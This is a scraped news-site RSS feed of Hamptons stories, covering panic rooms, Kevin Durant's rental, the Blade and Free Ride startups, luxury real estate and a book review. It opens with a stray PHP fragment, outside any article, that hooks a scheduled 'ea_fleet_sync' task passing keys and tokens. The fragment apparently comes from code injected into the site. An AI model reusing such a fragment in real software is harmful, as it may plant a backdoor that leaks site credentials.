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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Hamptons – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 13 Oct 2018 06:45:34 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Hamptons – Brief News https://briefnews.eu 32 32 Hamptons’ ‘paranoid’ super rich installing luxury panic rooms to hide from MS-13 gang https://briefnews.eu/hamptons-paranoid-super-rich-installing-luxury-panic-rooms-to-hide-from-ms-13-gang/ https://briefnews.eu/hamptons-paranoid-super-rich-installing-luxury-panic-rooms-to-hide-from-ms-13-gang/#respond Sat, 13 Oct 2018 06:45:34 +0000 http://briefnews.eu/hamptons-paranoid-super-rich-installing-luxury-panic-rooms-to-hide-from-ms-13-gang/

Fearing the vicious Salvadoran MS-13 gang, which has plagued Long Island’s Suffolk County and threatens to spread its terror further, residents from the wealthy Hamptons area in New York are turning their homes into fortresses.

The extreme security measures include sleeping with guns, installing bulletproof windows and sometimes even luxury panic rooms.

Supermarket mogul, John Catsimatidis, told the New York Post that he sleeps with a gun underneath his pillow. “A Walther PPK/S, the same one James Bond carried,” he said.

“[My wife] Margo prefers a shotgun. Although, once, she thought she heard something, got the shotgun out and shot through the door,” he added.

Fears that the gang is spreading to the eastern tip of Long Island were bolstered by Southampton Town’s police chief Steven Skrynecki, after he stationed police with anti-terrorism gear at charity galas throughout the summer of 2017.

In April, the gang murdered four men at a soccer field in Central Islip. Three months later a Hampton Bays brothel, which was raided by police, was found to be tagged with an MS-13 sign.

The gang is “in Suffolk County. What’s an hour car ride? They are near,” an unnamed Southampton homeowner said.

Long Island contractor Chris Cosban, whose company Covert Interiors installs pricey panic rooms, told the daily: “The big thing [with homeowners] in the Hamptons is that if somebody has it, they [all] want it.”

The price for a panic room ranges from $ 25,000 to over $ 200,000 which Cosban explains with ‘a wow factor.’

“They like to brag about it,” he said. People used to open up their garages and show off their Lamborghinis, but “now they take guests to the wine bar in their safe room,” said Herman Weisberg from personal security firm Sage Intelligence.

He explained that clients look at the panic rooms as a secondary space that can double as a wine cellar or a secure room to display guns.

Some East Enders say that their wealthy neighbors are going overboard and “get more paranoid the richer they become.”

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]]> https://briefnews.eu/hamptons-paranoid-super-rich-installing-luxury-panic-rooms-to-hide-from-ms-13-gang/feed/ 0 Famous Hamptons hide-out for sale https://briefnews.eu/famous-hamptons-hide-out-for-sale/ https://briefnews.eu/famous-hamptons-hide-out-for-sale/#respond Thu, 17 May 2018 00:48:16 +0000 http://briefnews.eu/famous-hamptons-hide-out-for-sale/ AS the closest NBA franchise to all the billionaire tech babies based in Silicon Valley, the Golden State Warriors enjoy their fair share of super-wealthy fans.

Perhaps this home will tempt one of them as the ultimate souvenir.

The five-bedroom mansion on a three-acre estate at 189 Further Lane in the Hamptons was the scene of a monumental piece of NBA history.

It’s the base Kevin Durant rented for $ 100,000 for 10 days in 2016 when he was being courted by any NBA team that could find his ear.

The San Antonio Spurs, Miami Heat, Los Angeles Clippers, Oklahoma City Thunder, Boston Celtics and the Warriors were short-listed by Durant — who was a free agent after a decade with the Thunder — to come and present their cases.

The Warriors arrived with star quartet Steph Curry, Klay Thompson, Draymond Green and Andre Iguodala and would leave with a commitment from a player who would be their MVP in a successful NBA Finals series against Cleveland a year later.

That quartet, and Durant, are now known as the Hamptons 5 — and even share a group text that carries the label. They’re favoured to go back-to-back this season.

But that’s not the only celebrity selling point for a property that is being marketed by Sotheby’s Realty.

Jerry Seinfeld, Jann Wenner and Larry Gagosian either own or have owned homes on the street, per the New York Times.

Retired lawyer Peter Wilson, who bought the estate and built the exiting house in 2004, says it used to be owned by a former mafia member.

Sounds like more than one major deal may have gone down in this ultra-private setting.

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Eleven Madison Park Revives Hamptons Pop-Up Restaurant

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]]> https://briefnews.eu/worlds-best-restaurant-revives-its-hamptons-summer-pop-up/feed/ 0 ‘Uber-for-helicopters’ startup Blade just raised $38 million — here’s what it’s like to fly to the Hamptons https://briefnews.eu/uber-for-helicopters-startup-blade-just-raised-38-million-heres-what-its-like-to-fly-to-the-hamptons/ https://briefnews.eu/uber-for-helicopters-startup-blade-just-raised-38-million-heres-what-its-like-to-fly-to-the-hamptons/#respond Thu, 22 Mar 2018 17:59:30 +0000 http://briefnews.eu/uber-for-helicopters-startup-blade-just-raised-38-million-heres-what-its-like-to-fly-to-the-hamptons/ blade flightMadeline Stone / Business Insider

  • Blade is a transportation startup that offers on-demand flights to destinations like the Hamptons.
  • It just raised an additional $ 38 million in venture funding. 
  • We took a helicopter ride with Blade in 2015 — here’s what it was like.

Getting to the Hamptons can be a real drag. Blade, an aviation startup cofounded by former Sony and Warner Music Group exec Rob Wiesenthal and GroupMe cofounder Steve Martocci, aims to make it a little easier on you. 

Blade uses an app to crowdsource flights on helicopters and seaplanes that you can book seats on in an instant. Though Blade started out with flights to the Hamptons, which remains one of its most popular destinations, the startup has expanded to offer flights in many weekend getaway spots, including Nantucket, the Jersey Shore, and around different parts of Los Angeles.

Tickets range from $ 494 to $ 695 for a trip from Manhattan to the Hamptons. A one-way ticket on Blade One, the company’s private jet service from New York to Miami and Palm Beach, costs about $ 2,200. You can even snag a seat on a helicopter going to one of the New York area airports, a five-minute ride called Blade Bounce that starts at $ 195.

The company just raised $ 38 million in a Series B funding round led by Colony NorthStar and Lerer Hippeau. Airbus Helicopters and LionTree Ventures also contributed to the round. 

According to a press release from the company, the new funding will go towards expanding Blade’s routes. Blade and Airbus will partner to launch an intra-city helicopter service in a to-be-determined market overseas. Blade added that Colony will be helping to identify future potential landing sites for eVTOLs, or flying taxis, which both companies see as an important foundation for future transportation initiatives. 

Blade has raised $ 60 million in venture funding to date, the company said. Past investors include Discovery Communications’ David Zaslav, Google’s Eric Schmidt, IAC’s Barry Diller, and iHeart Media’s Bob Pittman.

Blade treated us to a trip to the Hamptons on a late summer evening in 2015. Here’s what it was like:

Our journey began in Blade’s 34th Street lounge, where we found a comfortable setup of couches and stools along a sleek bar. “You can’t beat the on-demand aspect,” Jarrett, a Blade customer who works in Manhattan real estate, told me. Blade has a network of seven lounges in four states.

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Customer experience (or C/X in Blade lingo) representatives Jessica Rooney and Erin Mulcahy were there to help. They’re wearing uniforms that were custom designed by Jimmy Choo founder Tamara Mellon just for Blade.

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The C/X team has worn several different retro-inspired uniforms. “My inspiration for Blade harkens back to the days when I was a young child and my parents would dress me up to get on a plane,” Wiesenthal, Blade’s cofounder and CEO, said to Business Insider in 2016.

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He added: “It was the golden age of aviation — the ’60s to early ’70’s, the Jack Kennedy, Frank Sinatra era — when getting on a jet plane was a big deal and an adventure. Not everybody did it. And there was always a story attached to it.”


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]]> https://briefnews.eu/uber-for-helicopters-startup-blade-just-raised-38-million-heres-what-its-like-to-fly-to-the-hamptons/feed/ 0 2 Hamptons locals started a free beach shuttle that has now given 1 million rides — and may solve a problem that even Uber can’t https://briefnews.eu/2-hamptons-locals-started-a-free-beach-shuttle-that-has-now-given-1-million-rides-and-may-solve-a-problem-that-even-uber-cant/ https://briefnews.eu/2-hamptons-locals-started-a-free-beach-shuttle-that-has-now-given-1-million-rides-and-may-solve-a-problem-that-even-uber-cant/#respond Sat, 15 Jul 2017 13:51:00 +0000 http://briefnews.eu/2-hamptons-locals-started-a-free-beach-shuttle-that-has-now-given-1-million-rides-and-may-solve-a-problem-that-even-uber-cant/ Hamptons Free RideThe Free Ride

Growing up in the Hamptons, Alex Esposito and James Mirras knew one thing to be true: The beach was great, but the parking sucked.

Between the crowds and the permit-required parking lots, there was rarely an easy — or cheap — way to enjoy a summer day on the sand.

In 2009, Esposito and Mirras, now both 30, finished their undergraduate studies at the University of Florida and Bentley University, respectively. They toyed with the idea of starting a shuttle bus company as a solution to their childhood grievance.

But there were vehicle costs, like insurance, maintenance, and fuel, to consider. Plus, the two were eager to begin their professional lives; Mirras was off to work at Morgan Stanley and Esposito was pursuing his MBA at Bentley.

“We ended up putting the idea on the back burner,” Esposito told Business Insider. That is, until a few years later when a discussion about using freebies as a tool to sell products came up in one of Esposito’s business school classes.

“So, Starbucks gives away internet to sell coffee, Gillette gives away razors to sell blades. James and I kind of scratched our heads and said, well, what if we made our beach bus free?” Esposito told Business Insider. “We decided to put together this model where, if electric cars can cut out the cost of fuel, and if advertisers can pay to sponsor the service, then we can provide a totally free service for this one-to-two mile gap.”

They ran with the idea — but kept at their day jobs — and founded the Free Ride in the summer of 2011, debuting with a few open-air, fully electric cars operating in East Hampton. Riders could either hail a shuttle from the app, or wave one down on the street for a ride to the beach or a local restaurant. The next summer, the network expanded to include routes in Montauk and Southampton.

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In a crowded summer destination like the Hamptons, Esposito and Mirras found companies were willing to pay big for innovative and interactive advertising. Big enough, in fact, that it covers operating costs, and riders don’t have to pay a dime.

By the following summer, Mirras had left Morgan Stanley to run operations for the Free Ride full-time. They added additional routes in South Florida and Santa Monica, California, and were soon partnering with household brands like JetBlue, Corona, Coco-Cola, and, later, L’Oreal. Since then, ad revenues have surpassed seven-figures, nearly doubling every year, according to Esposito. 

Not only are the cars wrapped in fun, cheeky advertisements, some of the companies provide freebies, like cold drinks, snacks, and beauty product samples, to riders. Plus, an iPad inside each car doubles as an interactive video advertisement and photo booth.

Esposito eventually quit his job at consulting company Accenture to join Mirras to bring the Free Ride to other cities around the country. 

“I think a lot of people nowadays look at startups as a way to get away from a desk job, but you really need to create the startup before you can take that leap, and I think that’s something we both did well,” Esposito said. 

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They recently started expanding beyond beach-only routes. Late last year, they partnered with the city of San Diego to launch FRED, Free Ride Everywhere Downtown, an e-hailing service covering about a two-mile radius within the city.

Esposito calls it a “micro-transit solution” because it fills a gap that buses, trains, yellow cabs, and even Uber and Lyft don’t fill: short, free rides you can request via an app or hail from the street.

“The response was tremendous, we had over 20,000 people sign up for the app within the first six weeks of the program, and almost 4,000 rides a week in San Diego,” Esposito said.

Esposito envisions a more efficient, eco-friendly, and data-driven solution to public transit, and says other municipalities have reached out to bring the Free Ride to their cities as well. “The idea of having three buses that carry 25 passengers running all the time is just horribly inefficient,” he said. “That’s really where our eyes kind of opened up and we said, why have three caterpillars when we can have 20 ants?”

The Free Ride currently operates a fleet of 82 shuttles — all driven by Free Ride employees rather than contractors — operating throughout the Hamptons, South Florida, Southern California, and the Jersey Shore, each with its own operating hours and pre-determined route. Cars that aren’t being used in one market, like New York during the winter, are either transferred to a busier market, or used for private events. 

To date, the company has given 1 million free rides.

“We haven’t burned an ounce of fuel doing it and it’s really been exciting seeing the business pivot from what was once a fun, little beach shuttle idea into now what we see as being a huge micro-transit solution that’s applicable in areas all over the country and all over the world,” Esposito said.

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It is a good-natured sparkly romance with a hint of naughtiness, the literary equivalent of an ice cream on a summer afternoon.

When she bumps into her ex-husband Seth, Fliss escapes the heat of New York for the Hamptons. 

But Seth is determined to track her down to lure her back into his life.

Sweet, funny, easy reading for when it’s too hot to think. 

Holiday In The Hamptons HHHH by Sarah Morgan HQ, £7.99 

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]]> https://briefnews.eu/holiday-in-the-hamptons-book-review-good-natured-sparkly-romance-from-sarah-morgan/feed/ 0 Meet the rich and powerful people who live on ‘Billionaire Lane’ in the Hamptons https://briefnews.eu/meet-the-rich-and-powerful-people-who-live-on-billionaire-lane-in-the-hamptons/ https://briefnews.eu/meet-the-rich-and-powerful-people-who-live-on-billionaire-lane-in-the-hamptons/#respond Tue, 04 Jul 2017 18:14:25 +0000 http://briefnews.eu/meet-the-rich-and-powerful-people-who-live-on-billionaire-lane-in-the-hamptons/ Meadow lane propertyCourtesy of Saunders

Owning a big apartment in New York City is great, but having a mansion in the Hamptons is a privilege only the 1% of the 1% can enjoy.

And there may be no more exclusive place to own an East End home than Southampton’s Meadow Lane, which Forbes once dubbed “Billionaire Lane.”

Take a look at some of the most exclusive properties and their billionaire owners, below:

Megan Willett contributed reporting to an earlier version of this story.

Meadow Lane is one of the most expensive addresses in the country, and no wonder — it runs along a coveted beachfront strip in one of the most exclusive towns in the Hamptons. The millionaires and billionaires who live there all reside within throwing distance on the same stretch of road.

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Source: Forbes

 

They also live within easy access of the Southampton Heliport, useful to anyone who travels from Manhattan to the Hamptons by helicopter.

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Source: Forbes

In mid-2014, the Hamptons home where Diane Keaton and Jack Nicholson holed up in “Something’s Gotta Give” sold for $ 41 million to hotel mogul Jimmy Tisch of Loews Corp. The 8,000-square-foot mansion has 11 bedrooms.

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Grey Gardens has gone corporate. The home — perhaps one of the most infamous in the Hamptons — will be rented all summer long by American Express, which plans to use it for special events, according to the New York Post.

Three-Michelin-starred restaurant Eleven Madison Park is said to be involved in the deal, but details, including the monthly rental price, are scarce. 

It’s still up for sale with a discounted price of $ 17.995 million — $ 2 million less than the owners of the home originally asked for when it listed in February. The Corcoran Group has the listing.

Anyone who saw the “Grey Gardens” documentary or Broadway play would likely balk at living in the home it was inspired by. After all, the home was in incredibly poor shape during the filming of the documentary, and it’s even rumored to be haunted.

However, the East Hampton mansion now looks nothing like it did in the 1975 documentary that showcased the lives of Jackie Kennedy Onassis’ ex-socialite relatives.

Journalist and author Sally Quinn purchased the mansion with her husband, the late Washington Post editor Ben Bradlee, for $ 220,000 in 1979. They completely rehabilitated it to its current splendor, according to The New York Times.

The home has the slate exterior of a typical Hamptons home.

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Walk past the sizable porch …

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… and enter a home of stately beauty.

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Uber Will Return to the Hamptons This Summer

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]]> https://briefnews.eu/uber-will-return-to-the-hamptons-this-summer/feed/ 0 The future of the Hamptons is uncertain as prices plummet and luxury buyers head north https://briefnews.eu/the-future-of-the-hamptons-is-uncertain-as-prices-plummet-and-luxury-buyers-head-north/ https://briefnews.eu/the-future-of-the-hamptons-is-uncertain-as-prices-plummet-and-luxury-buyers-head-north/#respond Sun, 12 Feb 2017 23:17:47 +0000 http://briefnews.eu/the-future-of-the-hamptons-is-uncertain-as-prices-plummet-and-luxury-buyers-head-north/ east hamptons homeAverage home prices fell in the Hamptons in 2016.
Meanwhile, further north in the Hudson Valley, the luxury home market is moving quickly.
Some wealthy people are trading their Hamptons mansions for rustic homes in the Hudson Valley and the Catskills. 
Tourism to the area is also booming.

The Hamptons have long been a weekend playground for New York City’s wealthiest and most fashionable. 

But thanks to a softening real estate market and the growing appeal of more affordable destinations, that could be about to change. 

The various hamlets of Long Island’s East End are certainly still a haven for celebrities and Wall Streeters, as well as an older set of travelers, but there are some signs that the attention of potential second-home buyers could be shifting north.

Collapsing prices in the Hamptons

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The Hamptons have a tony reputation for a reason. Though each of its hamlets has its own unique flavor, the Hamptons are known for their large, shingle-style homes with ocean views and proximity to fundraisers and other events wealthy neighbors throw throughout the summer. Finance professionals have long chosen to buy second homes here. 

And while the Hamptons will continue to be a destination for a particular kind of home buyer, the housing market endured a slight slump in 2016, which some have attributed to the falling profits, bonuses, and headcounts seen on Wall Street last year. 

The end of 2016 was particularly challenging for the Hamptons luxury real estate market, according to several different brokerages who released reports after the fourth quarter came to a close. Data from luxury real estate company Brown Harris Stevens showed that average home prices had fallen by 23.1% in the fourth quarter year-over-year. 

“This was really due to the election,” Aspasia Comnas, executive managing director of Brown Harris Stevens of the Hamptons, told Business Insider. “We’re a secondary home market, and if our buyers or sellers feel at all uncertain about what their economic future will look like (and with a change in administration, there was no way but for there to be a change in the economy), buyers and sellers hold back.” 

At the luxury end of the Hamptons market, the median sales price fell 29.5%, to $ 5.85 million, year-on-year, according to real-estate appraisal firm Miller Samuel. But this did not deter developers from putting more homes up for sale, as inventory increased 21% in the same period.

“Activity started picking up again in December and in January, so I’m guessing the market is making a recovery,” Comnas said. 

Another report from Brown Harris Stevens showed that the number of sales that closed in all of 2016 was down 7.3% compared to 2015. Total dollar volume dipped 11.5% to $ 3.57 billion.

An alternative destination on the rise

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While the luxury market in the Hamptons does appear to be softening, another destination with easy access to New York City has been growing in popularity. 

The Hudson Valley is often broadly defined as the area stretching north from New York City along the Hudson River to Albany. Divided into three regions — lower, mid, and upper — the Hudson Valley is known for its charming towns, old-money estates, and proximity to the Catskill Mountains. Metro-North and Amtrak trains provide relatively easy access to these communities, each of which has their own unique personalities.

According to a fourth-quarter report from Heather Croner Real Estate of Sotheby’s, Hudson Valley’s luxury real estate market accelerated significantly at the end of 2016. Though median prices remained steady at around $ 1 million, the rate at which properties changed hands grew rapidly through the second half of the year. 

“We’re cautiously optimistic that the momentum generated in the second half of the year will carry forward into 2017,” the report reads. 

“The fourth quarter was very busy, and this quarter is too,” Heather Croner told Business Insider.

Entrepreneurs and Wall Streeters seem to be catching on.

Richard Ellis, owner of Ellis Sotheby’s International Realty in Nyack, New York, said that he has witnessed a growing trend of New Yorkers buying property in the Hudson Valley over the last few years. Many vacation home buyers he has done business with work in finance, have their primary residences in Downtown Manhattan or Brooklyn, and are in their mid-30s to 50s. 

He has even worked with some clients who were specifically looking to trade in their Hamptons home for a quieter spot in the Hudson Valley.

“The lower Hudson Valley is certainly easier to get to than the Hamptons,” Ellis told Business Insider. “People who buy on our side of the river are not ‘keeping up the Joneses,’ so to speak. They’re looking to impress themselves, not others.”

The buyers he works with value the proximity to Manhattan, outdoor activities, and stunning landscape that the Hudson Valley offers. Snedens Landing, a community in the Palisades on the west side of the Hudson River, has long attracted creative types, including celebrities like Bill Murray and Al Pacino.

Dennis Crowley, co-founder and executive chairman of Foursquare, recently bought a second home in Kingston, located on the east side of the river in the mid-Hudson Valley. He even decided to start a semi-pro soccer team in the area, called Stockade FC. 

“The Hudson Valley is a special place — it’s got everything that NYC is missing (grass! space! quiet!) with pockets of crazy energy and entrepreneurial spirit,” he told Business Insider. “Once we started spending a lot of time up there, we started realizing how many other friends of ours were also in the process of finding a way to call the Hudson Valley home, at least part-time.”

“In Kingston, we’ve found friends within the strong community of makers and do’ers — some who work in tech, some who are writers and artists, some who have opened small shops or other local business — and many of these folks were involved in helping us build Kingston Stockade FC.”

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Younger travelers are making their way north, too 

Taken as a whole, the newest generation of travelers seem to value real-life experiences over luxury goods. And with lots of space to hike and interact with nature, the Catskills and Hudson Valley could be attracting adventure-seeking tourists on that point alone. 

According to an analysis by vacation rental site HomeAway, New York City-based travelers are becoming more and more interested in the Hudson Valley as a vacation destination. Searches of rentable properties in the Hudson Valley by New Yorkers grew 121% between 2015 and 2016, according to HomeAway’s analysis.

In comparison, search inquiries of the Hamptons grew just 35% in the same period, though the Hamptons continue to be more popular overall.

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Location-intelligence company Foursquare analyzed weekend foot traffic and came to a similar conclusion, though it focused its study specifically on young travelers. According to the findings, which were first reported in Yahoo Finance, New York-based travelers between the ages of 20 and 24 “increased their trips to the Hudson Valley and Catskills by nearly 55% in the summer of 2016 compared to the same time in 2012. During that same period, this same group decreased excursions to the Hamptons by nearly 46%.”

New Yorkers venturing to the Hudson Valley and the Catskills can take advantage of a wide range of activities, from hiking in the Mohonk Preserve, to touring the art galleries of Kingston, to exploring the old-money estates where the Vanderbilts and Roosevelts once lived in Hyde Park. 

Plus, the close proximity of the Culinary Institute of America means that there are plenty of excellent restaurants — many of which place an emphasis on farm-to-table ingredients — for both visitors and new second-home owners to enjoy. The towns of Hudson and Rhinebeck are especially popular destinations with the foodie crowd. 

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